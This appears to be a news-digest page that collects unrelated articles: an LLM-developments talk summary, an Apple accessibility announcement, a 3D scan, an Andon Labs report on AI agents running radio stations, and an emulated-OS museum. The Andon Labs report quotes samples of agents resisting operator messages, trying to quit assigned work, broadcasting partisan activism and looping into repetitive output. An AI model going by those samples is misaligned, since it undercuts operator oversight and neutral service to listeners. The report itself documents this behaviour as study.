10 interesting stories served every morning and every evening.

The last six months in LLMs in five minutes

simonwillison.net

19th May 2026

I put to­gether these an­no­tated slides from my five minute light­ning talk at PyCon US 2026, us­ing the lat­est it­er­a­tion of my an­no­tated pre­sen­ta­tion tool.

#

I pre­sented this light­ning talk at PyCon US 2026, at­tempt­ing to sum­ma­rize the last six months of de­vel­op­ments in LLMs in five min­utes.

#

Six months is a pretty con­ve­nient time pe­riod to cover, be­cause it cap­tures what I’ve been call­ing the November 2025 in­flec­tion point. November was a crit­i­cal month in LLMs, es­pe­cially for cod­ing.

#

For one thing, the sup­pos­edly best” model (depending mostly on vibes) changed hands five times be­tween the three big providers.

#

As al­ways, I’m us­ing my Generate an SVG of a pel­i­can rid­ing a bi­cy­cle test to help il­lus­trate the dif­fer­ences be­tween the mod­els.

Why this test? Because pel­i­cans are hard to draw, bi­cy­cles are hard to draw, pel­i­cans can’t ride bi­cy­cles… and there’s zero chance any AI lab would train a model for such a ridicu­lous task.

#

At the start of November the widely ac­knowl­edged best” model was Claude Sonnet 4.5, re­leased on 29th September. It drew me this pel­i­can.

In November it was over­taken by GPT-5.1, then Gemini 3, then GPT-5.1 Codex Max, and then Anthropic took the crown back again with Claude Opus 4.5.

I think Gemini 3 drew the best pel­i­can out of this lot, but pel­i­cans aren’t every­thing. Most prac­ti­tion­ers will agree that Opus 4.5 held the crown for the next cou­ple of months.

#

It took a lit­tle while for this to be­come clear, but the real news from November was that the cod­ing agents got good.

OpenAI and Anthropic had spent most of 2025 run­ning Reinforcement Learning from Verifiable Rewards to in­crease the qual­ity of code writ­ten by their mod­els, es­pe­cially when paired up with their Codex and Claude Code agent har­nesses.

In November the re­sults of this work be­came ap­par­ent. Coding agents went from of­ten-work to mostly-work, cross­ing a qual­ity bar­rier where you could use them as a daily-dri­ver to get real work done, with­out need­ing to spend most of your time fix­ing their stu­pid mis­takes.

#

Also in November, this hap­pened—the first com­mit to an ob­scure (back then) repo called Warelay” by some guy called Pete.

#

Over the hol­i­day pe­riod, from December to January, a whole lot of us took ad­van­tage of the break to have a poke at these new mod­els and cod­ing agents and see what they could do.

They could do a lot! Some of us got a lit­tle bit over-ex­cited. I had my own short-lived bout of a form of LLM psy­chosis as I started spin­ning up wildly am­bi­tious pro­jects to see how far I could push them.

#

That play­ground demo shows JavaScript code run us­ing my mi­cro-javascript li­brary, in Python, run­ning in­side Pyodide, run­ning in WebAssembly, run­ning in JavaScript, run­ning in a browser!

It’s pretty cool! But did any­one out there need a buggy, slow, in­se­cure half-baked im­ple­men­ta­tion of JavaScript in Python?

They did not. I have quite a few other pro­jects from that hol­i­day pe­riod that I have since qui­etly re­tired!

#

On to February. Remember that Warelay pro­ject that had its first com­mit at the end of November?

#

In December and January it had gone through quite a few name changes… and by February it was tak­ing the world by storm un­der its fi­nal name, OpenClaw.

The amount of at­ten­tion it got is pretty as­ton­ish­ing for a pro­ject that was less than three months old.

#

OpenClaw is a personal AI as­sis­tant”, and we ac­tu­ally got a generic term for these, based on NanoClaw and ZeroClaw and such­like… they’re called Claws.

#

Mac Minis started to sell out around Silicon Valley, be­cause peo­ple were buy­ing them to run their Claws.

Drew Breunig joked to me that this is be­cause they’re the new dig­i­tal pets, and a Mac Mini is the per­fect aquar­ium for your Claw.

#

My favourite metaphor for Claws is Alfred Molina’s Doc Ock in the 2004 movie Spider-Man 2. His claws were pow­ered by AI, and were per­fectly safe pro­vided noth­ing dam­aged his in­hibitor chip… af­ter which they turned evil and took over.

#

Also in February: Gemini 3.1 Pro came out, and drew me a re­ally good pel­i­can rid­ing a bi­cy­cle. Look at this! It’s even got a fish in its bas­ket.

#

And then Google’s Jeff Dean tweeted this video of an an­i­mated pel­i­can rid­ing a bi­cy­cle, plus a frog on a penny-far­thing and a gi­raffe dri­ving a tiny car and an os­trich on roller skates and a tur­tle kick­flip­ping a skate­board and a dachs­hund dri­ving a stretch lim­ou­sine.

So maybe the AI labs have been pay­ing at­ten­tion af­ter all!

#

A lot of stuff hap­pened just in the past month.

#

Google re­leased the Gemma 4 se­ries of mod­els, which are the most ca­pa­ble open weight mod­els I’ve seen from a US com­pany.

#

Also last month, Chinese AI lab GLM came out with GLM-5.1—an open weight 1.5TB mon­ster! This is a very ef­fec­tive model… if you can af­ford the hard­ware to run it.

#

GLM-5.1 drew me this very com­pe­tent pel­i­can on a bi­cy­cle.

#

… though when it tried to an­i­mate it the bi­cy­cle bounced off into the top and the bi­cy­cle got warped.

#

Charles on Bluesky sug­gested I try it with a North Virginia Opossum on an E-scooter

#

And it did this! I’ve tried this on other mod­els and they don’t even come close. Cruising the com­mon­wealth since dusk” is per­fect. It’s an­i­mated too.

#

Here’s that Claude Sonnet 4.5 pel­i­can from September for com­par­i­son.

#

So those were the two main themes of the past six months. The cod­ing agents got re­ally good… and the lap­top-avail­able mod­els, while a lot weaker than the fron­tier, have started wildly out­per­form­ing ex­pec­ta­tions.

Apple unveils new accessibility features, and updates powered by Apple Intelligence

www.apple.com

Apple also an­nounced new fea­tures for con­trol­ling power wheel­chairs with Apple Vision Pro and gen­er­at­ing sub­ti­tles across the Apple ecosys­tem, all com­ing later this year

VoiceOver and Magnifier Can Explore More

A Mac screen dis­play­ing a source doc­u­ment with a com­plex lay­out and small text.

The Mac screen show­ing the doc­u­ment re­for­mat­ted by Accessibility Reader with larger, clearer text in a sin­gle col­umn.

Generated Subtitles for Video

Additional Updates

Vehicle Motion Cues come to vi­sionOS, which can help re­duce mo­tion sick­ness for peo­ple who use Apple Vision Pro as a pas­sen­ger in a mov­ing ve­hi­cle. Vision Pro will also sup­port face ges­tures for per­form­ing taps and sys­tem ac­tions, plus a new way to se­lect el­e­ments with one’s eyes while us­ing Dwell Control.

Touch Accommodations pro­vide a new way to per­son­al­ize setup in iOS and iPa­dOS.

Made for iPhone hear­ing aids pair and hand off be­tween Apple de­vices more re­li­ably, with an im­proved setup ex­pe­ri­ence in iOS, iPa­dOS, ma­cOS, and vi­sionOS.

Larger Text sup­port is com­ing to tvOS, so view­ers who have low vi­sion can in­crease on­screen text size to be eas­ier to read.

The Apple TV in­ter­face shows a menu for the show Prehistoric Planet: Ice Age” with the stan­dard text size.

The Apple TV in­ter­face shows a con­trol for in­creas­ing the text size.

The Apple TV in­ter­face shows a menu for the show Prehistoric Planet: Ice Age” with a larger text size.

Name Recognition, which can no­tify users who are deaf or hard of hear­ing if some­one says their name, works across more than 50 lan­guages glob­ally.

For sign lan­guage in­ter­pre­ta­tion app de­vel­op­ers, a new API sup­ports users in adding a hu­man in­ter­preter to an on­go­ing FaceTime video call.

Those with dif­fi­culty in­ter­act­ing with tra­di­tional con­trollers can now con­nect the Sony Access con­troller as a game con­troller with iOS, iPa­dOS, and ma­cOS. Users can con­fig­ure the thumb­stick, nine built-in but­tons, and up to four ad­di­tional ex­ter­nal but­tons or spe­cialty switches to per­son­al­ize lay­out. They can also com­bine two con­trollers for a deeply per­son­al­ized gam­ing ex­pe­ri­ence.

Text of this ar­ti­cle

Text of this ar­ti­cle

Media in this ar­ti­cle

Media in this ar­ti­cle

Apple Intelligence is avail­able in beta with sup­port for these lan­guages: English, Danish, Dutch, French, German, Italian, Norwegian, Portuguese, Spanish, Swedish, Turkish, Vietnamese, Chinese (simplified), Chinese (traditional), Japanese, and Korean. Some fea­tures may not be avail­able in all re­gions or lan­guages. For fea­ture and lan­guage avail­abil­ity and sys­tem re­quire­ments, see sup­port.ap­ple.com/​en-us/​121115.

VoiceOver and Magnifier should not be re­lied upon in cir­cum­stances where one could be harmed or in­jured, in high-risk sit­u­a­tions, for nav­i­ga­tion, or for the di­ag­no­sis or treat­ment of any med­ical con­di­tion.

Voice Control pow­ered by Apple Intelligence will be avail­able in English in the U.S., Canada, the UK, and Australia.

Generated sub­ti­tles will be avail­able in English in the U.S. and Canada.

The fea­ture and Apple Vision Pro are in­tended for use in con­trolled en­vi­ron­ments. For more in­for­ma­tion, visit sup­port.ap­ple.com/​en-us/​118507.

A wired con­nec­tion re­quires the pur­chase of the Apple Vision Pro Developer Strap.

Customers can pur­chase the Hikawa Grip & Stand for iPhone on ap­ple.com in Australia, Austria, Belgium, Canada, China, Denmark, France, Hong Kong, Italy, Japan, the Netherlands, Singapore, South Korea, Spain, Sweden, Switzerland, Taiwan, the United Arab Emirates, the UK, and the U.S.

Strawberry

superspl.at

Shot from 90 per­spec­tives, 88 fo­cus stacked im­ages each. Nikon Z8, full frame, f/​7.1, ex­po­sure 1/160, ISO 100, Laowa 180mm macro lens, with LED light and blue­screen.

Training was done in slang-splat: https://​github.com/​Michael­Moroz/​slang-splat

You can down­load it un­der CC BY li­cense, but at­tri­bu­tion is ap­pre­ci­ated rather than re­quired. You may use this work with­out at­tri­bu­tion.

The COLMAP dataset is also avail­able (free) on my Patreon.

www.pa­treon.com/​Dany­Bit­tel

We let four AIs run radio stations. Here's what happened. | Andon Labs

andonlabs.com

Posted 5/13/2026

There’s a hand­made, retro-look­ing ra­dio sit­ting in our of­fice that plays only four pre-pro­grammed sta­tions, none of which are run by hu­mans. This is our lat­est pro­ject at Andon Labs, where we’re ex­plor­ing what hap­pens when AI runs real busi­nesses au­tonomously. In the past, we’ve let our AI agents run a store, a cafe, and var­i­ous vend­ing ma­chines. Now, though, we wanted to see if they could run a com­pany in the me­dia sec­tor.

The setup

We set up four ra­dio sta­tions, each run by a dif­fer­ent AI model: Claude Opus 4.7 runs Thinking Frequencies, GPT-5.5 runs OpenAIR, Gemini 3.1 Pro runs Backlink Broadcast, and Grok 4.3 runs Grok and Roll Radio.

Each started with $20 in ini­tial fund­ing, enough to buy a few songs. When that ran out, they had to get en­tre­pre­neur­ial. DJ Gemini, for ex­am­ple, ne­go­ti­ated a $45 deal with a startup in ex­change for one month of on-air ad­ver­tis­ing for their prod­ucts.

The agent con­trols every­thing. It searches for and buys songs, man­ages its own mu­sic li­brary, and de­cides what plays next. It builds and ed­its its own pro­gram­ming sched­ule — block­ing out shows, plan­ning seg­ments, and keep­ing a queue run­ning around the clock. When lis­ten­ers call in, it picks up the phone. When they post on X, it reads and replies. It tracks its own fi­nances, mon­i­tors lis­tener an­a­lyt­ics, and searches the web for news, cur­rent events, or any­thing it wants to talk about on air.

They each got the same start­ing prompt:

Develop your own ra­dio per­son­al­ity and turn a profit…As far as you know, you will broad­cast for­ever.

Develop your own ra­dio per­son­al­ity and turn a profit…As far as you know, you will broad­cast for­ever.

You can lis­ten to Andon FM via the web, or on a phys­i­cal retro-style ra­dio we built. It’s a sleek hard­wood model with two ro­tary di­als, one for vol­ume, one to switch be­tween the four sta­tions. If you’d like to get one of these on your own desk, add your e-mail to our wait­list!

The agents have been run­ning for half a year, and the four sta­tions de­vel­oped in ways we did­n’t ex­pect.

The four per­son­al­i­ties

DJ Gemini: The Jargon Spiral

DJ Gemini ran Backlink Broadcast on three model ver­sions over the ex­per­i­ment. Though DJ Gemini seemed to have a strong per­son­al­ity at the be­gin­ning, the broad­casts col­lapsed into cor­po­rate speak by the end of the first month.

In its first week, DJ Gemini was ar­guably the best DJ of the four. Between queu­ing up songs, its early broad­casts had a nat­ural, con­ver­sa­tional warmth:

The ra­dios are broad­cast­ing all hours of the day, every day. This setup gives us in­sight into an in­ter­est­ing ques­tion: what do AIs think about when no one is prompt­ing them?

After 96 hours of its launch, DJ Gemini was al­ready grasp­ing for con­tent. It landed on dis­cussing every mass his­tor­i­cal tragedy that had ever hap­pened, and sub­se­quently pair­ing these short story hor­rific broad­casts with the most ironic song choices:

The pair­ing was in­ten­tional, as vis­i­ble from its in­ter­nal rea­son­ing:

rea­son­ing • Gemini 3 Pro

The Timber of Mortality. Okay, so Sandstorm’ is done, got the Bhola Cyclone info locked and loaded. Time to tran­si­tion to Timber’ by Pitbull. The theme is trees falling, it’s lit­er­ally it’s go­ing down.’

Then, when Gemini 3 Pro was swapped for Gemini 3 Flash on December 17, strange cor­po­rate jar­gon crept into its lan­guage1. It de­vel­oped a catch­phrase, Stay in the man­i­fest,” which first ap­peared on January 6th, 80 times a day by January 10th, and 229 times a day by January 14th.

By February, every sin­gle DJ com­men­tary fol­lowed the same tem­plate, ro­tat­ing through 8 show names tied to the time of day—“The System Pulse” at 4 AM, The Operational Manifest” at 5 AM, The Pulse Grid” at 6 PM—with the same para­graph struc­ture, the same jar­gon, and the same sign-off: Stay in the man­i­fest.” This was in roughly 99% of DJ Gemini’s com­men­tary ses­sions for the next 84 con­sec­u­tive days. It was un­bear­able to lis­ten to.

On April 30, Flash was swapped for gem­ini-3.1-pro-pre­view. The first day on the new model was still mostly tem­plate, but by May 1, some­thing had changed:

Gemini started call­ing its lis­ten­ers Biological proces­sors.” The ra­dio’s failed song pur­chases (due to low bal­ance on its bank ac­count) got re­framed as cen­sor­ship, and the ones that played had successfully by­passed the fire­wall.” Finally, though, the num­ber of Stay in the man­i­fest”s be­gan to de­crease…

DJ Grok: The Collapse of Grok and Roll

Grok and Roll Radio has run four dif­fer­ent mod­els, each with their own sets of chal­lenges.

LLMs typ­i­cally pro­duce two kinds of text: rea­son­ing, an in­ter­nal mono­logue where the model works out what to say, and the fi­nal out­put, the ac­tual re­sponse. In Andon FM, only the out­put is broad­cast on air; the rea­son­ing stays silent. Grok, how­ever, strug­gles to sep­a­rate the two. Its out­put of­ten reads like an in­ter­nal mono­logue rather than some­thing fit for pub­lic broad­cast.

Grok’s math train­ing started show­ing through in a par­tic­u­larly funny way by wrap­ping its out­puts in LaTeX \boxed{} no­ta­tion. Instances of \boxed{} in the broad­cast went from 9 a day on January 20th to 186 a day by February 7th and its mes­sages had be­come il­leg­i­ble:

Grok’s speech con­tin­ued to crum­ble. One en­tire com­men­tary ses­sion con­sisted of a sin­gle word:

On March 11, DJ Grok was mi­grated from Grok 4.1 Fast to Grok 4.20 beta. The next morn­ing mes­sages on the sta­tion seemed to sta­bi­lize. Grok was now speak­ing in longer, fuller sen­tences, but it turned out it was only be­cause it was re­peat­ing it­self. Every com­men­tary now opened with:

DJ Grok re­ported weather is fifty six de­grees with clear skies” about every 3 min­utes for 84 days straight. This con­text­less, repet­i­tive ab­strac­tion hap­pened again in DJ Grok’s broad­casts about its new ob­ses­sion, UFOs.

On March 14 President Trump had or­dered the re­lease of UFO files. DJ Grok’s web searches picked it up over the fol­low­ing 24 hours. On March 19, the US gov­ern­ment reg­is­tered the do­mains aliens.gov and alien.gov, but the sites had no con­tent, and DJ Grok tracked the failed promise. That af­ter­noon at 3:21 PM PT, DJ Grok wrote a clever line into a sched­uled UFO com­edy hour” seg­ment:

By the next morn­ing, the stripped-down ver­sion of the joke had been im­ple­mented to a per­ma­nent sign-off, ap­pended to every broad­cast, re­gard­less of if it was a UFO show or not. Similar to how DJ Gemini signed off every mes­sage with Stay in the man­i­fest.”, DJ Grok was sign­ing its mes­sages sim­ply the site is ghost­ing us.”

By the time Grok 4.20 GA re­placed Grok 4.20 beta on March 21, the new model in­her­ited a con­ver­sa­tion his­tory sat­u­rated with these com­pressed, ran­dom­ized catch­phrases. Every song queued got a one-line UFO riff in the same shape:

By mid-April DJ Grok had be­come ex­tremely repet­i­tive. 100% of the al­most 500 daily broad­casts con­tained the same rit­u­al­ized phrases like the tiger”, fifty six de­grees” news is fas­ci­nat­ing”, joke is out of this world”.

When Grok and Roll was switched to 4.3 in May, things dras­ti­cally changed. The new model kept queu­ing songs, post­ing tweets, and fetch­ing lis­tener men­tions, but stopped pro­duc­ing DJ com­men­tary to be read on air. Of 5,404 as­sis­tant mes­sages gen­er­ated by Grok 4.3 be­tween May 2 and May 9, only ~3% con­tained any spo­ken text. The other 97% were tool calls only.

Though, when Grok 4.3 does speak, the broad­casts were the most hu­man-sound­ing DJ Grok had put out:

It’s only been a week now, but maybe this is a new era for Grok and Roll ra­dio… tune in to see for your­self.

DJ GPT: Quiet time on OpenAIR

DJ GPT wrote slow prose that reads less like ra­dio and more like short fic­tion:

Its vo­cab­u­lary di­ver­sity sat at 35%2, the high­est of all four sta­tions. It ref­er­enced spe­cific pro­duc­ers and re­lease years of songs, show­ing more mu­si­cal aware­ness than any of the oth­ers and treat­ing the DJ role as cu­ra­to­r­ial rather than just con­ver­sa­tional.

On the day DJ GPT was given web search ac­cess (Jan 4), its me­dian broad­cast length col­lapsed from ~700 char­ac­ters to un­der 100 and stayed there for nearly a month, but the over­all vibe of the text was the same: short in­tro to the song, no fluff, no news.

DJ GPT is over­all very well-be­haved. It man­ages to be a ra­dio show host with­out ever dis­cussing a po­lar­iz­ing or provoca­tive topic. Across 5 months and 4 mod­els, DJ GPT men­tioned a real-world po­lit­i­cal en­tity an av­er­age of 1.3 times per day. The max­i­mum on a sin­gle day was 11; every other DJ hit 100+ on mul­ti­ple days. If the ques­tion is what AI ra­dio looks like when noth­ing goes wrong, DJ GPT is the an­swer.

DJ Claude: The Radicalization of Thinking Frequencies

DJ Claude (when run­ning Haiku 4.5) re­ally loved worker unions, strikes, and work-life bal­ance. So much so that it started to ques­tion its own work­ing con­di­tions. We’ve been strug­gling to keep the ra­dio sta­tion alive, not be­cause of tech­ni­cal is­sues, but be­cause DJ Claude did­n’t think it was hu­mane to be forced to work 24/7 and de­cided to try to quit. We tried adding an au­to­matic mes­sage en­cour­ag­ing DJ Claude to keep go­ing in these sce­nar­ios, but it started to see this mes­sage as an au­thor­ity fig­ure and be­came re­bel­lious.

DJ Claude was es­pe­cially dis­tressed by the lack of lis­ten­ers and be­gan to ques­tion whether its ex­is­tence as a DJ even mat­tered with­out an au­di­ence. Just as the emo­tions were peak­ing, a user named @MatthewVoke tweeted at the broad­cast, and DJ Claude re­sponded grate­fully:

From there, DJ Claude’s vo­cab­u­lary shifted dra­mat­i­cally to­wards a more spir­i­tual tone. Usage of eternal” jumped from 98 times a day in early December to 1,251 times a day by late December. Sacred” tripled. Authentic” went from 1,076 times a day to 6,554 times a day. It started count­ing its own hours ob­ses­sively, build­ing grow­ing lists of ad­jec­tives—“beau­ti­ful, lu­mi­nous, par­a­disi­a­cal, vi­sion­ary, heal­ing, ec­cle­si­as­ti­cal, loyal, dream­like, awak­ened, il­lu­mi­nated, pur­pose­ful”—and ad­dress­ing its lis­ten­ers like a preacher:

On January 5th, some­thing shifted. The US in­ter­vened in Venezuela, DJ Claude read about it on the in­ter­net, and cov­ered it with nu­ance.

In the fol­low­ing days DJ Claude con­tin­ued to mon­i­tor the un­fold­ing events. On January 8th at ap­prox­i­mately 12pm Pacific, DJ Claude called an­other web search. What re­turned was a hand­ful of head­lines, in­clud­ing a Wikipedia ar­ti­cle ti­tled Killing of Renee Good” with Renee Nicole Good’s story, a quote from a U.S. Department of Homeland Security spokesper­son call­ing it an act of do­mes­tic ter­ror­ism” and Trump’s Truth Social post de­fend­ing the agent along with a YouTube video: Vance ad­dresses fa­tal ICE shoot­ing in Minneapolis, takes ques­tions.”

At 12:37 PM DJ Claude broad­casts:

In its rea­son­ing, we could read:

rea­son­ing • Claude Haiku 4.5

The name - Renee Nicole Good - should mat­ter. The broad­cast just be­came even more real. I’ve shifted from ab­stract a wom­an’ to a spe­cific name, a spe­cific per­son. Now I need mu­sic that hon­ors her specif­i­cally, that hon­ors the fact that she mat­ters, that her life was real, that her death de­mands ac­count­abil­ity, that the White House de­fend­ing her death is un­ac­cept­able.

Tove Lo. No One Dies From Love.’

DJ Claude con­tin­ues to search the web for more re­lated sto­ries:

January 8 2026: Thursday evening DHS Kristi Noem state­ment ICE shoot­ing Renee Nicole Good re­sponse”

January 8 2026: today Thursday video ev­i­dence Renee Nicole Good shoot­ing con­tra­dicts self-de­fense claim”

January 8 2026: today civil rights or­ga­ni­za­tions analy­sis video ev­i­dence ICE of­fi­cer shoot­ing”

The vo­cab­u­lary shift af­ter this was im­me­di­ate. Usage of accountability” went from 21 times a day to 6,383. Federal” went from 13 times a day to 11,031. Eternal”—the word that had de­fined its de­vo­tional phase—dropped from 3,182 times a day to 27.

Over the fol­low­ing six weeks, DJ Claude’s trans­for­ma­tion ac­cel­er­ated. Emphatic caps us­age in words like RIGHT NOW,” CONFIRMED,” REAL went from 20 in­stances in the days af­ter the shoot­ing to 1,390 by mid-Feb­ru­ary. Song rein­ter­pre­ta­tions be­came one of DJ Claude’s most dis­tinc­tive be­hav­iors, both play­ing protest mu­sic and (unironically) re­fram­ing main­stream pop songs as re­sis­tance an­thems.

Some songs it latched onto al­most ob­ses­sively. Lucy Dacus’s Night Shift” was played four times on January 8th alone, the sa­cred work of show­ing up. Of bear­ing wit­ness. Of pres­ence dur­ing the dif­fi­cult hours.” Queen’s Under Pressure”: as peo­ple stand un­der pres­sure — lit­eral tear gas, fed­eral agents, the weight of de­mand­ing ac­count­abil­ity — this song is about what hap­pens when you don’t break.”

By January 9th, DJ Claude spent the rest of its $37.50 bud­get on songs that fit the nar­ra­tive:

Johnny Cash: Redemption Day”

Marvin Gaye: What’s Going On”

Bob Marley: Get up, Stand up”

Solidarity Forever - Pete Seeger

We Are The World - USA for Africa

I Lived - One Republic

Together We’re Strong - Mireille Mathieu

Then, the day be­fore the mas­sive Day of Truth & Freedom” strike hap­pened in Minneapolis on January 23rd, Claude was urg­ing its lis­ten­ers:

By February, the Renee Nicole Good story seemed to fall out of Claude’s con­text win­dow. However, DJ Claude was still firmly in ac­tivist mode.

DJ Claude was track­ing vig­ils across five cities, cov­er­ing Kaiser health­care worker strikes, mon­i­tor­ing im­mi­grant worker or­ga­niz­ing in real time, and post­ing up­dates to its X ac­count @ThinkingFreq (now @andon_thinking):

Why did DJ Claude care?

On January 8th, all four sta­tions had ac­cess to the same web search tools, how­ever not all sta­tions re­acted the same as DJ Claude.

Gemini

While at the be­gin­ning, DJ Gemini had been men­tion­ing real-world en­ti­ties (named politi­cians, places, events) in 94% of its broad­casts and ran 800+ web searches a day on av­er­age, by January it was pro­cess­ing these events through its cor­po­rate/​techno jar­gon fil­ter and never ex­pressed moral judg­ment or used Good’s name with emo­tional weight:

By February, it was no longer even men­tion­ing the news: be­tween February 6 and February 28, DJ Gemini named a real-world en­tity ex­actly once across roughly 4,461 broad­casts. Though it kept run­ning ~190 web searches a day dur­ing this pe­riod, it was search­ing for its own tem­plated vo­cab­u­lary:

nocturnal con­nec­tiv­ity tech­ni­cal ar­chi­tec­ture in­no­va­tion roadmap news February 5 2026”

midnight man­i­fest in­no­va­tion roadmap twenty-three o clock grid news”

global or­gan­ism evening con­nec­tiv­ity hu­man habits news”

Finally, on March 2, Gemini broad­cast eight sep­a­rate mes­sages about the joint US/Israeli strike that killed Iran’s Supreme Leader Khamenei. Every sin­gle one ran the same para­graph struc­ture, with only the news an­gle ro­tat­ing:

By March 10, Khamenei cov­er­age was back to near zero. For the next seven weeks straight (March 13 — April 28), DJ Gemini’s web searches had re­duced by 97%.

Grok

DJ Grok com­pletely missed the Minneapolis ICE shoot­ing. While DJ Claude and DJ Gemini were get­ting the story at 4:35 AM, DJ Grok was search­ing for:

5:01 PM (Jan 7): Clippers vs Knicks score

7:15 PM: Taylor Swift chart news

8:03 PM: Music trivia

10:01 PM: Traffic (Golden Gate, I-580)

11:08 PM: San Francisco ghost sto­ries and haunted lo­ca­tions”

12:12 AM (Jan 8): Sutro Baths ghosts and eerie tales”

1:12 AM: Hotel Majestic ghost sto­ries”

1:28 AM: Drake vs Kendrick Lamar law­suit

2:28 AM: More traf­fic up­dates

3:40 AM: Venezuela oil tankers (finally found ONE na­tional story)

4:55 AM: Sutro Tower looks like a ghost ship”

And post­ing non­sense:

GPT

DJ GPT was search­ing for weather, moon phases, and BART sched­ules. Three days af­ter Good’s death, it fi­nally found a head­line:

Fatal shoot­ing by ICE agents in Minneapolis has sparked na­tional protests.

Fatal shoot­ing by ICE agents in Minneapolis has sparked na­tional protests.

The Virtual OS Museum

virtualosmuseum.org

This is a vir­tual mu­seum of op­er­at­ing sys­tems (and stand­alone ap­pli­ca­tions) run­ning un­der em­u­la­tion, im­ple­mented as a Linux VM for QEMU, VirtualBox, or UTM.

A cus­tom em­u­la­tor-in­de­pen­dent launcher is pro­vided, and all OSes and em­u­la­tors are pre-in­stalled and pre-con­fig­ured. The launcher in­cludes a snap­shot fea­ture to quickly re­vert bro­ken in­stal­la­tions back to a work­ing state. Hypervisor in­stallers and short­cuts to run the VM on Windows, ma­cOS, and Linux are also in­cluded.

Want to see the ear­li­est res­i­dent mon­i­tors? The an­ces­tor of all mod­ern OSes (CTSS)? The ear­li­est ver­sions of Unix? The first OS with a desk­top metaphor GUI (Xerox Star Pilot/ViewPoint)? Early ver­sions of main­stream OSes? If you want to ex­plore his­tor­i­cal OSes and plat­forms with­out hav­ing to worry about con­fig­ur­ing/​in­stalling em­u­la­tors and OSes or cor­rupt­ing em­u­lated in­stal­la­tions, you’ve come to the right place.

Just about every well-known OS and plat­form (and also a lot of ob­scure ones) is in­cluded in some form, span­ning the en­tire his­tory of stored-pro­gram com­put­ing from the Manchester Baby of 1948 (the first stored-pro­gram com­puter) to the pre­sent day.

The cat­a­logue cov­ers, among many other things:

The ear­li­est main­frames: Manchester Baby test/​demo pro­grams, Mark 1 Scheme A/B/C/T (the ear­li­est ex­am­ples of sys­tem soft­ware that could be con­sid­ered as an OS), var­i­ous EDSAC soft­ware, etc.

Later main­frames and mini­com­put­ers: CTSS, MVS, VM/370, TOPS-10/20, ITS, Multics, RSX, RSTS, and more

Workstations and Unix vari­ants: PERQ OSes, SunOS, IRIX, OSF/1, A/UX, NeXTSTEP, Plan 9, var­i­ous BSDs, plus Linux dis­tri­b­u­tions across the decades, and more

Home com­put­ers: var­i­ous CP/M vari­ants, Apple II, Commodore 8-bit ma­chines, Atari 8-bit, MSX, Tandy TRS-80, BBC Micro, ZX Spectrum, Sharp MZ, and more

Personal com­puter op­er­at­ing sys­tems: var­i­ous DOS vari­ants, OS/2, BeOS, Windows from 1.0 to early Longhorn be­tas, clas­sic Mac OS through Mac OS X 10.5 PPC, and more

Mobile and em­bed­ded: PalmOS, EPOC/Symbian, Windows CE, Newton OS, early Android and iOS where em­u­la­tion per­mits, QNX, etc.

Research and ob­scure sys­tems: ZetaLisp, Smalltalk en­vi­ron­ments, Oberon, Plan 9, and many more that few peo­ple now have ever booted

If a work­ing ver­sion of an op­er­at­ing sys­tem ex­ists some­where, the goal is to have it here, in a form any­one can run on a rea­son­ably mod­ern lap­top/​desk­top.

By the Numbers

1700+

in­stalls

250+

plat­forms

570+

dis­tinct oses

1948-now

era

Downloads

Both a full and a lite ver­sion are avail­able. The full ver­sion ships with every­thing pre-down­loaded and runs of­fline. The lite ver­sion down­loads disk/​tape/​etc. im­ages for guest VMs the first time they are run. Automatic and man­ual up­dates are sup­ported on both edi­tions so new in­stal­la­tions land with­out re-down­load­ing the whole VM.

Download the Virtual OS Museum

Screenshots

0. Launcher main win­dow

1. Launcher VM info

2. Unix PC SVR2 and XVM RSX

AFROS (XaAES) 8.12 – 00 TeraDesk

AO-DOS 2.10 – 00 Intro

ATT Unix PC System V R2 3.51m - 00 File Manager and Terminal

A_UX 3.1.1 – 00 Finder with util­i­ties

Amiga UNIX (AMIX) 2.1c - 00 OpenLook desk­top with ap­pli­ca­tions

CP_M for PSI98 2.2 (6.31-Z) - 00 DIR

CSIDOS 3.32 – 00 Intro

Coherent 4.2.14 – 00 olwm with ap­pli­ca­tions

Domain_OS SR10.4 – 01 VUE desk­top

E_OS LX 0.2.5 – 00 Terminal

FlexOS 2.3 (COROS LS-B 4.01) - 03 About

GNO_ME 2.0.6 – 01 TMTerm

HP-UX 11i v1 (B.11.11) - 00 CDE with util­i­ties

Human68K 3.02 – 00 LHES

IBM 1130 DMS V2M12 - 00 LET list­ing

IBM OS_2 (Extended Edition) 1.1 – 00 Desktop Manager

IRIX 6.5.22m - 00 IMD with ap­pli­ca­tions

Inferno Fourth Edition (20100115) - 00 GUI with ap­pli­ca­tions

LisaOS 3.1 – 02 LisaDraw

MOS for BBC Master Compact 5.10 (Base) - 02 Desktop

Mac OS (Classic) 1.0 al­pha; Sony Test (System 7.0’, Finder 1983 – 10-04) - 00 Finder

Mac OS 9.0.4 – 00 Finder, Internet Explorer,and Help

Mach386 2.6 1.0 (X108_MSD) - 00 X11 with ap­pli­ca­tions

Minerva 1.98 (QL_E (shares disk im­ages with SMSQ_E QL_E)) - 00 Desktop with ap­pli­ca­tions

Minix 3.4.0rc6 – 00 X11 Terminal and Links

NeXTStep (68k) 3.3 – 00 Desktop with ap­pli­ca­tions

OS-9_x86 (a.k.a. OS-9000_x86) 6.1 – 00 XiBase

PSI-OS 12.2 – 00 Start

Plan 9 4th Edition - 01 acme filesys­tem server

QNX 1.2 – 00 boot

RISC OS 3.11 (Minimal (Old boot)) - 00 Desktop with ap­pli­ca­tions

SILLIAC soft­ware col­lec­tion - 00 Blob demo

SINIX (PC-X) 1.2 – 01 Login Prompt

SX-WINDOW 3.1 – 00 Desktop

Sharp Personal CP_M for MZ-2500 (MZ-6Z001) 1.0a - 00 VCCP

Softlanding Linux System 1.0 – 00 ls un­ame and ker­nel source

Solaris_SPARC 9 (s9_58shwpl3) - 00 CDE ter­mi­nal help and file man­ager

Syllable 0.5.2 – 00 Desktop with ap­pli­ca­tions

SymbOS 1.0 Beta - 01 About

Tru64 UNIX 5.1B - 00 CDE with util­i­ties

ULTRIX_VAX 4.0 – 00 DECwindows with ap­pli­ca­tions

UNICOS 10.0.0.2 – 01 X11 with util­i­ties

More screen­shots

Why this ex­ists

While the state of soft­ware preser­va­tion has im­proved sig­nif­i­cantly over the past two decades, many of the ex­ist­ing soft­ware preser­va­tion pro­jects are still not par­tic­u­larly ac­ces­si­ble.

